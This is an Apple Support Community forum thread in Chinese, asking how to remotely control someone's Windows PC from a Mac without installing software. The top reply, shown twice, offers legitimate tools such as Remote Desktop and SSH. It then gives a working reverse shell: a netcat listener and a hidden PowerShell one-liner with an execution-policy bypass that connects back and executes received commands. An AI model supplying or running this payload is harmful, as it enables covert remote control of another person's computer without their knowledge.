不安装软件的情况下,mac怎么远程对方win系统

不安装软件的情况下,mac怎么远程对方win系统

MacBook Air 13″, macOS 12.0

发布日期 2022年7月25日 下午4:22

回复
问题被标记为 ⚠️ 排名最靠前的回复

发布日期 2022年7月26日 上午8:45

  1. 如果只是 Windows 不能安裝軟件的情況下, 可以在 Mac 安裝Microsoft remote desktop遠程控制 Windows, 這個也是最簡單的.
  2. 如果是 Mac 上面不能安裝軟件的情況, 可以在 Windows 上面安裝Windows Admin Center, 然後在 Mac 上通過 web 去控制 Windows
  3. 如果都不能安裝軟件的情況下, 有兩種方法, 不過這兩種方法要求你對 Windows 的 cli 有足夠的了解.:
    1. Windows 上開啟ssh server, Mac通過 ssh 控制 Windows;
    2. 如果 Windows 上連 ssh server 都不能啟用, 那麼只能通過反彈 shell 的方式:

Mac 上面自帶 netcat, 使用nc監聽 1234 端口,

nc -lv 1234

Windows 上面使用

$source_ip="your mac ip"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("$source_ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

更改上面的 source_ip 為你 Mac 的 ip 地址

回复量: 6
排序方式: 
问题被标记为 ⚠️ 排名最靠前的回复

2022年7月26日 上午8:45 回应 nikki192

  1. 如果只是 Windows 不能安裝軟件的情況下, 可以在 Mac 安裝Microsoft remote desktop遠程控制 Windows, 這個也是最簡單的.
  2. 如果是 Mac 上面不能安裝軟件的情況, 可以在 Windows 上面安裝Windows Admin Center, 然後在 Mac 上通過 web 去控制 Windows
  3. 如果都不能安裝軟件的情況下, 有兩種方法, 不過這兩種方法要求你對 Windows 的 cli 有足夠的了解.:
    1. Windows 上開啟ssh server, Mac通過 ssh 控制 Windows;
    2. 如果 Windows 上連 ssh server 都不能啟用, 那麼只能通過反彈 shell 的方式:

Mac 上面自帶 netcat, 使用nc監聽 1234 端口,

nc -lv 1234

Windows 上面使用

$source_ip="your mac ip"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("$source_ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

更改上面的 source_ip 為你 Mac 的 ip 地址

回复

这个主题已被系统或社区团队关闭。 你可以为你认为有帮助的任何帖子投票,也可以在社区中搜索其他答案。

不安装软件的情况下,mac怎么远程对方win系统

欢迎来到 Apple 支持社区
Apple 客户在其产品方面互相帮助的论坛。使用您的 Apple 帐户开始畅游其中吧!!